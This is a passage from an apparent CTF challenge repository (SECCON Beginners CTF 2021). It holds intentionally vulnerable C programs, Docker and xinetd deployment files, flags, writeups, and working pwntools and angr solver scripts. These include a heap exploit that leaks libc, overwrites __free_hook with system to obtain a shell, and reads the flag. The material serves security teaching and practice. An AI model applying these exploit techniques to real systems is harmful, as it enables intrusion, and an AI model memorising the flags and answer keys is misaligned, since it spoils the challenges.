0x288) 51 | edit(7, p64(libc_base + 0x54f89)) 52 | 53 | # shrink top 54 | new(8, 0xa98) 55 | edit(8, b'D' * 0xa98 + p64(0x2b1)) 56 | new(9, 0x2a8) # link to tcache 57 | 58 | # shrink top 59 | new(10, 0xa98) 60 | edit(10, b'E' * 0xa98 + p64(0x2b1)) 61 | new(11, 0x2a8) # link to tcache 62 | 63 | # tcache poisoning 64 | payload = b'F' * 0xa98 + p64(0x291) 65 | payload += p64(libc.symbol('__malloc_hook')) 66 | edit(10, payload) 67 | new(12, 0x288) 68 | new(13, 0x288) 69 | edit(13, p64(libc.symbol('free') + 8)) 70 | 71 | # win 72 | new(14, 0x18) 73 | 74 | sock.sendline("cat flag*.txt") 75 | print(sock.recvline().decode()) 76 | -------------------------------------------------------------------------------- /pwnable/rewriter/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:18.04 2 | 3 | ENV DEBIAN_FRONTEND nointeractive 4 | 5 | RUN apt-get -y update --fix-missing && apt-get -y upgrade 6 | RUN apt-get -y install xinetd 7 | RUN groupadd -r pwn && useradd -r -g pwn pwn 8 | 9 | ADD build/pwn.xinetd /etc/xinetd.d/pwn 10 | ADD build/init.sh /etc/init.sh 11 | ADD build/redir.sh /home/pwn/redir.sh 12 | RUN chmod 550 /home/pwn/redir.sh 13 | RUN chmod 700 /etc/init.sh 14 | RUN chmod 1733 /tmp /var/tmp /dev/shm 15 | 16 | ADD FLAG /home/pwn/flag.txt 17 | ADD files/rewriter/chall /home/pwn/chall 18 | RUN chmod 440 /home/pwn/flag.txt 19 | RUN chmod 550 /home/pwn/chall 20 | 21 | RUN chown -R root:pwn /home/pwn 22 | 23 | RUN ls /home/pwn -lh 24 | 25 | RUN service xinetd restart 26 | -------------------------------------------------------------------------------- /pwnable/rewriter/FLAG: -------------------------------------------------------------------------------- 1 | ctf4b{th3_r3turn_4ddr355_15_1n_th3_5t4ck} 2 | -------------------------------------------------------------------------------- /pwnable/rewriter/README.md: -------------------------------------------------------------------------------- 1 | # rewriter 2 | 3 | ## 問題文 4 | 任意のアドレスの値を書き換えたい時,ありますよね? 5 | 6 | ## 難易度 7 | **Beginner** 8 | 9 | ## 作問にあたって 10 | リターンアドレスがスタックに積まれている事を理解してほしかった. 11 | -------------------------------------------------------------------------------- /pwnable/rewriter/build/Makefile: -------------------------------------------------------------------------------- 1 | all: chall 2 | 3 | chall: src.c Makefile 4 | gcc -Wl,-z,lazy,-z,relro src.c -o chall -fno-stack-protector -no-pie 5 | 6 | clean: 7 | rm -f chall 8 | -------------------------------------------------------------------------------- /pwnable/rewriter/build/chall: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SECCON/Beginners_CTF_2021/90766cae336fdd5880c509ca944467206a0d6cea/pwnable/rewriter/build/chall -------------------------------------------------------------------------------- /pwnable/rewriter/build/flag.txt: -------------------------------------------------------------------------------- 1 | ctf4b{th3_r3turn_4ddr355_15_1n_th3_5t4ck} 2 | -------------------------------------------------------------------------------- /pwnable/rewriter/build/init.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | service xinetd restart && /bin/sleep infinity 3 | -------------------------------------------------------------------------------- /pwnable/rewriter/build/pwn.xinetd: -------------------------------------------------------------------------------- 1 | service pwn 2 | { 3 | disable = no 4 | socket_type = stream 5 | protocol = tcp 6 | wait = no 7 | user = pwn 8 | type = UNLISTED 9 | bind = 0.0.0.0 10 | port = 4103 11 | server = /home/pwn/redir.sh 12 | per_source = 3 13 | rlimit_cpu = 60 14 | rlimit_as = 1024M 15 | } 16 | 17 | -------------------------------------------------------------------------------- /pwnable/rewriter/build/redir.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | cd /home/pwn && ./chall 3 | -------------------------------------------------------------------------------- /pwnable/rewriter/build/src.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | #define BUFF_SIZE 0x20 11 | 12 | void win() { 13 | execve("/bin/cat", (char*[3]){"/bin/cat", "flag.txt", NULL}, NULL); 14 | } 15 | 16 | void show_stack(unsigned long *stack); 17 | 18 | int main() { 19 | unsigned long target = 0, value = 0; 20 | char buf[BUFF_SIZE] = {0}; 21 | show_stack(buf); 22 | printf("Where would you like to rewrite it?\n> "); 23 | buf[read(STDIN_FILENO, buf, BUFF_SIZE-1)] = 0; 24 | target = strtol(buf, NULL, 0); 25 | printf("0x%016lx = ", target); 26 | buf[read(STDIN_FILENO, buf, BUFF_SIZE-1)] = 0; 27 | value = strtol(buf, NULL, 0); 28 | *(long*)target = value; 29 | show_stack(buf); 30 | } 31 | 32 | void show_stack(unsigned long *stack) { 33 | printf("\n%-20s|%-20s\n", "[Addr]", "[Value]"); 34 | puts("====================+==================="); 35 | for (int i = 0; i < 10; i++) { 36 | printf(" 0x%016lx | 0x%016lx ", &stack[i], stack[i]); 37 | if (&stack[i] == stack) 38 | printf(" <- buf"); 39 | if (&stack[i] == ((unsigned long)stack + BUFF_SIZE)) 40 | printf(" <- target"); 41 | if (&stack[i] == ((unsigned long)stack + BUFF_SIZE + 0x8)) 42 | printf(" <- value"); 43 | if (&stack[i] == ((unsigned long)stack + BUFF_SIZE + 0x10)) 44 | printf(" <- saved rbp"); 45 | if (&stack[i] == ((unsigned long)stack + BUFF_SIZE + 0x18)) 46 | printf(" <- saved ret addr"); 47 | puts(""); 48 | } 49 | puts(""); 50 | } 51 | 52 | __attribute__((constructor)) 53 | void init() { 54 | setvbuf(stdin, NULL, _IONBF, 0); 55 | setvbuf(stdout, NULL, _IONBF, 0); 56 | alarm(60); 57 | } 58 | -------------------------------------------------------------------------------- /pwnable/rewriter/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | 3 | services: 4 | rewriter: 5 | build: 6 | context: . 7 | restart: always 8 | working_dir: /home/pwn 9 | container_name: rewriter 10 | ulimits: 11 | nproc: 65535 12 | core: 0 13 | ports: 14 | - "4103:4103" 15 | entrypoint: /etc/init.sh 16 | -------------------------------------------------------------------------------- /pwnable/rewriter/files/rewriter/chall: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SECCON/Beginners_CTF_2021/90766cae336fdd5880c509ca944467206a0d6cea/pwnable/rewriter/files/rewriter/chall -------------------------------------------------------------------------------- /pwnable/rewriter/files/rewriter/src.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | #define BUFF_SIZE 0x20 11 | 12 | void win() { 13 | execve("/bin/cat", (char*[3]){"/bin/cat", "flag.txt", NULL}, NULL); 14 | } 15 | 16 | void show_stack(unsigned long *stack); 17 | 18 | int main() { 19 | unsigned long target = 0, value = 0; 20 | char buf[BUFF_SIZE] = {0}; 21 | show_stack(buf); 22 | printf("Where would you like to rewrite it?\n> "); 23 | buf[read(STDIN_FILENO, buf, BUFF_SIZE-1)] = 0; 24 | target = strtol(buf, NULL, 0); 25 | printf("0x%016lx = ", target); 26 | buf[read(STDIN_FILENO, buf, BUFF_SIZE-1)] = 0; 27 | value = strtol(buf, NULL, 0); 28 | *(long*)target = value; 29 | } 30 | 31 | void show_stack(unsigned long *stack) { 32 | printf("\n%-20s|%-20s\n", "[Addr]", "[Value]"); 33 | puts("====================+==================="); 34 | for (int i = 0; i < 10; i++) { 35 | printf(" 0x%016lx | 0x%016lx ", &stack[i], stack[i]); 36 | if (&stack[i] == stack) 37 | printf(" <- buf"); 38 | if (&stack[i] == ((unsigned long)stack + BUFF_SIZE)) 39 | printf(" <- target"); 40 | if (&stack[i] == ((unsigned long)stack + BUFF_SIZE + 0x8)) 41 | printf(" <- value"); 42 | if (&stack[i] == ((unsigned long)stack + BUFF_SIZE + 0x10)) 43 | printf(" <- saved rbp"); 44 | if (&stack[i] == ((unsigned long)stack + BUFF_SIZE + 0x18)) 45 | printf(" <- saved ret addr"); 46 | puts(""); 47 | } 48 | puts(""); 49 | } 50 | 51 | __attribute__((constructor)) 52 | void init() { 53 | setvbuf(stdin, NULL, _IONBF, 0); 54 | setvbuf(stdout, NULL, _IONBF, 0); 55 | alarm(60); 56 | } 57 | -------------------------------------------------------------------------------- /pwnable/rewriter/solver/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3 2 | 3 | RUN pip install -U pwn 4 | 5 | WORKDIR /app 6 | ADD . /app 7 | 8 | ENV PWNLIB_NOTERM true 9 | 10 | CMD ["python3", "solve.py"] 11 | -------------------------------------------------------------------------------- /pwnable/rewriter/solver/chall: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SECCON/Beginners_CTF_2021/90766cae336fdd5880c509ca944467206a0d6cea/pwnable/rewriter/solver/chall -------------------------------------------------------------------------------- /pwnable/rewriter/solver/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | from pwn import * 3 | import os 4 | 5 | HOST = os.getenv('CTF4B_HOST', '0.0.0.0') 6 | PORT = int(os.getenv('CTF4B_PORT', '4103')) 7 | 8 | context.log_level = 'critical' 9 | binfile = './chall' 10 | e = ELF(binfile) 11 | context.binary = binfile 12 | 13 | io = remote(HOST, PORT) 14 | 15 | io.recvuntil(b'saved rbp\n') 16 | saved_ret_addr = io.readline().decode('utf-8', 'ignore').split()[0] 17 | io.sendlineafter('>', saved_ret_addr) 18 | 19 | io.sendlineafter('=', str(e.sym['win'])) 20 | 21 | # skip stack view 22 | for _ in range(14): 23 | io.readline() 24 | 25 | print(io.readline().decode('utf-8', 'ignore'), end='') 26 | 27 | io.close() 28 | exit() 29 | -------------------------------------------------------------------------------- /pwnable/rewriter/writeup.md: -------------------------------------------------------------------------------- 1 | # writeup - rewrite 2 | 3 | ``` 4 | $ objdump -D build/chall |rg win 5 | 00000000004011f6 : 6 | ``` 7 | 8 | リターンアドレスを0x4011f6に書き換える 9 | -------------------------------------------------------------------------------- /pwnable/uma_catch/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:18.04 2 | 3 | ENV DEBIAN_FRONTEND nointeractive 4 | 5 | RUN apt-get -y update --fix-missing && apt-get -y upgrade 6 | RUN apt-get -y install xinetd 7 | RUN groupadd -r pwn && useradd -r -g pwn pwn 8 | 9 | ADD build/pwn.xinetd /etc/xinetd.d/pwn 10 | ADD build/init.sh /etc/init.sh 11 | ADD build/redir.sh /home/pwn/redir.sh 12 | RUN chmod 550 /home/pwn/redir.sh 13 | RUN chmod 700 /etc/init.sh 14 | RUN chmod 1733 /tmp /var/tmp /dev/shm 15 | 16 | ADD FLAG /home/pwn/flag.txt 17 | ADD files/uma_catch/chall /home/pwn/chall 18 | RUN chmod 440 /home/pwn/flag.txt 19 | RUN chmod 550 /home/pwn/chall 20 | 21 | RUN chown -R root:pwn /home/pwn 22 | 23 | RUN ls /home/pwn -lh 24 | 25 | RUN service xinetd restart 26 | -------------------------------------------------------------------------------- /pwnable/uma_catch/FLAG: -------------------------------------------------------------------------------- 1 | ctf4b{h34p_15_4ls0_m3m0ry_ju5t_l1k3_st4ck} 2 | -------------------------------------------------------------------------------- /pwnable/uma_catch/README.md: -------------------------------------------------------------------------------- 1 | # UMA Catch 2 | 3 | ## 問題文 4 | ウマを踊らせたりできるアプリケーションです. 5 | 6 | ## 難易度 7 | **Easy** 8 | 9 | ## 作問にあたって 10 | ウマが好きなので. 11 | heapで遊びながら作ったので,色々な脆弱性がある. 12 | -------------------------------------------------------------------------------- /pwnable/uma_catch/build/Makefile: -------------------------------------------------------------------------------- 1 | all: chall 2 | 3 | chall: src.c Makefile 4 | gcc src.c -o chall -Wall -Wextra 5 | cp chall ../solver/chall 6 | cp chall ../files/chall 7 | 8 | clean: 9 | rm -f chall ../solver/chall ../files/chall 10 | 11 | -------------------------------------------------------------------------------- /pwnable/uma_catch/build/chall: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SECCON/Beginners_CTF_2021/90766cae336fdd5880c509ca944467206a0d6cea/pwnable/uma_catch/build/chall -------------------------------------------------------------------------------- /pwnable/uma_catch/build/flag: -------------------------------------------------------------------------------- 1 | ctf4b{h34p_15_4ls0_m3m0ry_ju5t_l1k3_st4ck} -------------------------------------------------------------------------------- /pwnable/uma_catch/build/init.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | service xinetd restart && /bin/sleep infinity 3 | -------------------------------------------------------------------------------- /pwnable/uma_catch/build/pwn.xinetd: -------------------------------------------------------------------------------- 1 | service pwn 2 | { 3 | disable = no 4 | socket_type = stream 5 | protocol = tcp 6 | wait = no 7 | user = pwn 8 | type = UNLISTED 9 | bind = 0.0.0.0 10 | port = 4101 11 | server = /home/pwn/redir.sh 12 | per_source = 3 13 | rlimit_cpu = 60 14 | rlimit_as = 1024M 15 | } 16 | -------------------------------------------------------------------------------- /pwnable/uma_catch/build/redir.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | cd /home/pwn && ./chall 3 | -------------------------------------------------------------------------------- /pwnable/uma_catch/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | 3 | services: 4 | uma_catch: 5 | build: 6 | context: . 7 | restart: always 8 | working_dir: /home/pwn 9 | container_name: uma_catch 10 | ulimits: 11 | nproc: 65535 12 | core: 0 13 | ports: 14 | - "4101:4101" 15 | entrypoint: /etc/init.sh 16 | -------------------------------------------------------------------------------- /pwnable/uma_catch/files/uma_catch/chall: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SECCON/Beginners_CTF_2021/90766cae336fdd5880c509ca944467206a0d6cea/pwnable/uma_catch/files/uma_catch/chall -------------------------------------------------------------------------------- /pwnable/uma_catch/files/uma_catch/libc-2.27.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SECCON/Beginners_CTF_2021/90766cae336fdd5880c509ca944467206a0d6cea/pwnable/uma_catch/files/uma_catch/libc-2.27.so -------------------------------------------------------------------------------- /pwnable/uma_catch/solver/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3 2 | 3 | RUN pip install -U pwn 4 | 5 | WORKDIR /app 6 | ADD . /app 7 | 8 | ENV PWNLIB_NOTERM true 9 | 10 | CMD ["python3", "/app/solve.py"] 11 | -------------------------------------------------------------------------------- /pwnable/uma_catch/solver/chall: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SECCON/Beginners_CTF_2021/90766cae336fdd5880c509ca944467206a0d6cea/pwnable/uma_catch/solver/chall -------------------------------------------------------------------------------- /pwnable/uma_catch/solver/libc-2.27.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SECCON/Beginners_CTF_2021/90766cae336fdd5880c509ca944467206a0d6cea/pwnable/uma_catch/solver/libc-2.27.so -------------------------------------------------------------------------------- /pwnable/uma_catch/solver/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | from pwn import * 3 | import os 4 | 5 | HOST = os.getenv('CTF4B_HOST', '0.0.0.0') 6 | PORT = int(os.getenv('CTF4B_PORT', '4101')) 7 | 8 | context.log_level = 'critical' 9 | binfile = './chall' 10 | e = ELF(binfile) 11 | libc = ELF('./libc-2.27.so') 12 | context.binary = binfile 13 | 14 | io = remote(HOST, PORT) 15 | 16 | def catch(index: int): 17 | io.sendlineafter(b'command?\n> ', '1') 18 | io.sendlineafter(b'index?\n> ', str(index)) 19 | io.sendlineafter(b'> ', "bay") 20 | 21 | def naming(index: int, data: bytes): 22 | io.sendlineafter(b'command?\n> ', '2') 23 | io.sendlineafter(b'index?\n> ', str(index)) 24 | io.sendlineafter(b'name?\n> ', data) 25 | 26 | def show(index: int): 27 | io.sendlineafter(b'command?\n> ', '3') 28 | io.sendlineafter(b'index?\n> ', str(index)) 29 | return io.readline() 30 | 31 | def release(index: int): 32 | io.sendlineafter(b'command?\n> ', '5') 33 | io.sendlineafter(b'index?\n> ', str(index)) 34 | 35 | def dance(index: int): 36 | io.sendlineafter(b'command?\n> ', '4') 37 | io.sendlineafter(b'> ', str(index)) 38 | 39 | catch(0) 40 | naming(0, "%11$p") 41 | libc_base = (int(show(0).decode()[2:-1], 16) - 0xe7 - libc.sym['__libc_start_main']) 42 | 43 | catch(1) 44 | release(1) 45 | release(0) 46 | 47 | naming(0, pack(libc_base + libc.sym['__free_hook'])) 48 | catch(0) 49 | naming(0, b'/bin/sh\0') 50 | catch(1) 51 | naming(1, pack(libc_base + libc.sym['system'])) 52 | release(0) 53 | 54 | # got shell 55 | io.sendline('echo "hello shell"') 56 | io.recvuntil(b'hello shell\n') 57 | 58 | io.sendline('cat flag.txt') 59 | print(io.readline().decode('utf-8', 'ignore'), end='') 60 | io.close() 61 | exit() 62 | -------------------------------------------------------------------------------- /reversing/be_angry/FLAG: -------------------------------------------------------------------------------- 1 | ctf4b{3nc0d3_4r1thm3t1c} 2 | -------------------------------------------------------------------------------- /reversing/be_angry/README.md: -------------------------------------------------------------------------------- 1 | # be angry 2 | ## 問題文 3 | 読みづらいからって怒らないでください😢 4 | 5 | ## 難易度 6 | Medium 7 | -------------------------------------------------------------------------------- /reversing/be_angry/build/Makefile: -------------------------------------------------------------------------------- 1 | all: chall 2 | 3 | CC=tigress # https://tigress.wtf/ 4 | CFLAGS+= --Environment=x86_64:Linux:Gcc:10.2.0 5 | CFLAGS+= --Seed=42 6 | CFLAGS+= --Transform=Flatten 7 | CFLAGS+= --Functions=main 8 | CFLAGS+= --FlattenDispatch=switch 9 | CFLAGS+= --FlattenObfuscateNext=false 10 | CFLAGS+= --FlattenRandomizeBlocks=true 11 | CFLAGS+= --FlattenConditionalKinds=branch,compute,flag 12 | CFLAGS+= --FlattenImplicitFlowNext=true 13 | CFLAGS+= --Transform=EncodeArithmetic 14 | CFLAGS+= --Functions=main 15 | CFLAGS+= --EncodeArithmeticKinds=integer 16 | CFLAGS+= --out=src_obfuscated.c 17 | CFLAGS+= -o chall 18 | 19 | chall: src.c Makefile 20 | $(CC) $(CFLAGS) src.c 21 | cp chall ../files/ 22 | cp chall ../solver/ 23 | 24 | clean: chall 25 | rm chall 26 | rm src_obfuscated.c 27 | -------------------------------------------------------------------------------- /reversing/be_angry/build/chall: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SECCON/Beginners_CTF_2021/90766cae336fdd5880c509ca944467206a0d6cea/reversing/be_angry/build/chall -------------------------------------------------------------------------------- /reversing/be_angry/build/flag.txt: -------------------------------------------------------------------------------- 1 | ctf4b{3nc0d3_4r1thm3t1c} 2 | -------------------------------------------------------------------------------- /reversing/be_angry/build/src.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #define FLAG_LEN 24 6 | 7 | int main() { 8 | int base = 100; 9 | char input[FLAG_LEN + 1]; 10 | fgets(input, FLAG_LEN + 1, stdin); 11 | if ( input[0] == base + -1 && 12 | input[1] == base + 16 && 13 | input[2] == base + 2 && 14 | input[3] == base + -48 && 15 | input[4] == base + -2 && 16 | input[5] == base + 23 && 17 | input[6] == base + -49 && 18 | input[7] == base + 10 && 19 | input[8] == base + -1 && 20 | input[9] == base + -52 && 21 | input[10] == base + 0 && 22 | input[11] == base + -49 && 23 | input[12] == base + -5 && 24 | input[13] == base + -48 && 25 | input[14] == base + 14 && 26 | input[15] == base + -51 && 27 | input[16] == base + 16 && 28 | input[17] == base + 4 && 29 | input[18] == base + 9 && 30 | input[19] == base + -49 && 31 | input[20] == base + 16 && 32 | input[21] == base + -51 && 33 | input[22] == base + -1 && 34 | input[23] == base + 25) 35 | puts("Correct!!"); 36 | else 37 | puts("Incorrect!!"); 38 | } 39 | -------------------------------------------------------------------------------- /reversing/be_angry/files/chall: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SECCON/Beginners_CTF_2021/90766cae336fdd5880c509ca944467206a0d6cea/reversing/be_angry/files/chall -------------------------------------------------------------------------------- /reversing/be_angry/solver/chall: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SECCON/Beginners_CTF_2021/90766cae336fdd5880c509ca944467206a0d6cea/reversing/be_angry/solver/chall -------------------------------------------------------------------------------- /reversing/be_angry/solver/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import angr 3 | import logging 4 | 5 | logging.getLogger("angr").setLevel("CRITICAL") 6 | angr.manager.l.setLevel("CRITICAL") 7 | proj = angr.Project("./chall") 8 | 9 | simgr = proj.factory.simgr() 10 | simgr.explore(find=lambda s: b"Correct" in s.posix.dumps(1)) 11 | if len(simgr.found) > 0: 12 | found = simgr.found[0].posix.dumps(0).decode("utf-8", "ignore") 13 | print(found) 14 | -------------------------------------------------------------------------------- /reversing/be_angry/writeup.md: -------------------------------------------------------------------------------- 1 | # Writeup - be_angry 2 | 3 | ## 解法 4 | angr 5 | 6 | ```python 7 | #!/usr/bin/env python3 8 | import angr 9 | import logging 10 | 11 | logging.getLogger("angr").setLevel("CRITICAL") 12 | angr.manager.l.setLevel("CRITICAL") 13 | proj = angr.Project("./chall") 14 | 15 | simgr = proj.factory.simgr() 16 | simgr.explore(find=lambda s: b"Correct" in s.posix.dumps(1)) 17 | if len(simgr.found) > 0: 18 | found = simgr.found[0].posix.dumps(0).decode("utf-8", "ignore") 19 | print(found) 20 | ``` 21 | -------------------------------------------------------------------------------- /reversing/children/FLAG: -------------------------------------------------------------------------------- 1 | ctf4b{p0werfu1_tr4sing_t0015_15_usefu1} -------------------------------------------------------------------------------- /reversing/children/README.md: -------------------------------------------------------------------------------- 1 | # Children 2 | ## 問題文 3 | I will generate 10 child processes. 4 | They also might generate additional child process. 5 | Please tell me each process id in order to identify them! 6 | 7 | ## 難易度 8 | Easy 9 | -------------------------------------------------------------------------------- /reversing/children/build/Makefile: -------------------------------------------------------------------------------- 1 | build: 2 | mkdir -p ../dist/ 3 | gcc -o ../dist/children src.c 4 | -------------------------------------------------------------------------------- /reversing/children/files/children: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SECCON/Beginners_CTF_2021/90766cae336fdd5880c509ca944467206a0d6cea/reversing/children/files/children -------------------------------------------------------------------------------- /reversing/children/writeup.md: -------------------------------------------------------------------------------- 1 | # children - Writeup 2 | straceを用いてpidを求めながら実行する。 3 | 4 | cloneされたプロセスの数をカウントし、最後に解答すれば良い。 5 | 6 | [FLAG](./FLAG) -------------------------------------------------------------------------------- /reversing/firmware/FLAG: -------------------------------------------------------------------------------- 1 | ctf4b{i0t_dev1ce_firmw4re_ana1ysi3_rev3a1s_a_l0t_of_5ecre7s} 2 | -------------------------------------------------------------------------------- /reversing/firmware/README.md: -------------------------------------------------------------------------------- 1 | # firmware 2 | 3 | ## 問題文 4 | 5 | ctf4b networks社のページからファームウェアをダウンロードしてきました。 6 | 7 | このファイルの中からパスワードを探してください。 8 | 9 | ## 題材とする脆弱性 10 | 11 | Ghidraを使ったarmhfバイナリ解析 12 | 13 | ## 実現するためのテーマ 14 | 15 | IoT機器の疑似ファームウェア解析 16 | 17 | ## 想定する参加者が解答までに至る思考経路 18 | 19 | 1. armhfのパスワードチェックバイナリと雑多なファイルをまとめてzipしてある疑似ファームウェアが与えられる 20 | 2. binwalkなどでELFを取り出す (取り出しミスを防ぐために含まれているファイルのmd5チェックサムが初めの方にまとめて記載されていいる) 21 | 3. Ghidraで解析する。socketで受け取ったパスワード文字列を1文字ずつ0x53とXORしているので復元するコードを書く 22 | 23 | ## 想定する難易度 24 | 25 | Easy 26 | -------------------------------------------------------------------------------- /reversing/firmware/build/README.md: -------------------------------------------------------------------------------- 1 | ファイル一覧 2 | 3 | ``` 4 | bash-5.1$ ls | xargs md5 5 | MD5 (ascii.txt) = e48277e0cc310a606fb5319754423603 6 | MD5 (square.svg) = 312026e039ec61d230dd86797b032a3e 7 | MD5 (bootstrap-grid.css) = 9a06dd7167f88983e5a14e67508b2a82 8 | MD5 (fa-regular-400.woff2) = 8eb1b3e8681657092171b6aa809493c2 9 | MD5 (file.svg) = 8f2d21c929c00e6b2b2b33582fc414e5 10 | MD5 (logo.png) = 3d6f672ef957418b0b15b00d27cfa44a 11 | MD5 (firm) = 21df362e00282863ad2b8a91c5afd98a 12 | MD5 (logo.jpg) = c1c0531f3371a1ccc25385f18b58a06e 13 | MD5 (folder.svg) = 70e2e882c80a772863672b93cd8d33d7 14 | MD5 (certificate.pem) = 03badb281c5e6c779ee1194826a21ffd 15 | MD5 (index.html) = a953910110ce3fb387eb97c1093d45ca 16 | MD5 (plus-square.svg) = d6dc15c39345eca10ca31f6a5b961868 17 | MD5 (star.svg) = 2476ae39f9f761b98fd7d6094da61047 18 | ``` 19 | 20 | 雑多に混ぜる文字列 21 | 22 | ``` 23 | v1964.5.3 24 | ctf4b networks 25 | e03b0dcb-f91d-4e1e-ad82-23146780cd2a 26 | ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/ 27 | 00000000 28 | FFFFFFFF 29 | ``` 30 | -------------------------------------------------------------------------------- /reversing/firmware/build/file/ascii.txt: -------------------------------------------------------------------------------- 1 | 2 | ███████╗██╗██████╗ ███╗ ███╗██╗ ██╗ █████╗ ██████╗ ███████╗ 3 | ██╔════╝██║██╔══██╗████╗ ████║██║ ██║██╔══██╗██╔══██╗██╔════╝ 4 | █████╗ ██║██████╔╝██╔████╔██║██║ █╗ ██║███████║██████╔╝█████╗ 5 | ██╔══╝ ██║██╔══██╗██║╚██╔╝██║██║███╗██║██╔══██║██╔══██╗██╔══╝ 6 | ██║ ██║██║ ██║██║ ╚═╝ ██║╚███╔███╔╝██║ ██║██║ ██║███████╗ 7 | ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚══╝╚══╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝ 8 | -------------------------------------------------------------------------------- /reversing/firmware/build/file/certificate.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN CERTIFICATE----- 2 | MIIBjzCCATWgAwIBAgIUf3480F3IXJJY2NXy+b9Nay33868wCgYIKoZIzj0EAwIw 3 | HTEbMBkGA1UEAwwSY2xpZW50LmV4YW1wbGUuY29tMB4XDTIxMDUwNjE2MDEyMFoX 4 | DTIxMDYwNTE2MDEyMFowHTEbMBkGA1UEAwwSY2xpZW50LmV4YW1wbGUuY29tMFkw 5 | EwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEe28MPG12OVpYZzkhAu80vq9oKX2TlmdR 6 | GaAkJAoXoAO6kg7WweIAskTFP1xLS9c7nkbIDM/8h7h2iP+0aN7HZqNTMFEwHQYD 7 | VR0OBBYEFC6s2UHzpRdPrjT6xHKpSQEcc46KMB8GA1UdIwQYMBaAFC6s2UHzpRdP 8 | rjT6xHKpSQEcc46KMA8GA1UdEwEB/wQFMAMBAf8wCgYIKoZIzj0EAwIDSAAwRQIg 9 | b9ZWOfAbCs/iBrGimQNYh93xK/epgKxlQLPq9pUDiBcCIQCqrATDLpWD/+cF8l3v 10 | p+5m8idr5QFSgE0DG6ktyqFcRg== 11 | -----END CERTIFICATE----- 12 | -------------------------------------------------------------------------------- /reversing/firmware/build/file/fa-regular-400.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SECCON/Beginners_CTF_2021/90766cae336fdd5880c509ca944467206a0d6cea/reversing/firmware/build/file/fa-regular-400.woff2 -------------------------------------------------------------------------------- /reversing/firmware/build/file/file.svg: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /reversing/firmware/build/file/firm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SECCON/Beginners_CTF_2021/90766cae336fdd5880c509ca944467206a0d6cea/reversing/firmware/build/file/firm -------------------------------------------------------------------------------- /reversing/firmware/build/file/folder.svg: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /reversing/firmware/build/file/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | SuperRouter - ctf4b networks 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 |

SuperRouter - ctf4b networks

15 |

Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.

16 | 17 | 18 | 19 | -------------------------------------------------------------------------------- /reversing/firmware/build/file/logo.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SECCON/Beginners_CTF_2021/90766cae336fdd5880c509ca944467206a0d6cea/reversing/firmware/build/file/logo.jpg -------------------------------------------------------------------------------- /reversing/firmware/build/file/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SECCON/Beginners_CTF_2021/90766cae336fdd5880c509ca944467206a0d6cea/reversing/firmware/build/file/logo.png -------------------------------------------------------------------------------- /reversing/firmware/build/file/plus-square.svg: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /reversing/firmware/build/file/square.svg: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /reversing/firmware/build/file/star.svg: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /reversing/firmware/build/firmware/README.txt: -------------------------------------------------------------------------------- 1 | ctf4b networks SUPER SECURE device's firmware 2 | 3 | *NOTE* 4 | 5 | It is allowed to reverse engineer this firmware. 6 | I hope you enjoy reversing this file! 7 | -------------------------------------------------------------------------------- /reversing/firmware/build/firmware/firmware.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SECCON/Beginners_CTF_2021/90766cae336fdd5880c509ca944467206a0d6cea/reversing/firmware/build/firmware/firmware.bin -------------------------------------------------------------------------------- /reversing/firmware/build/src/ascii.txt: 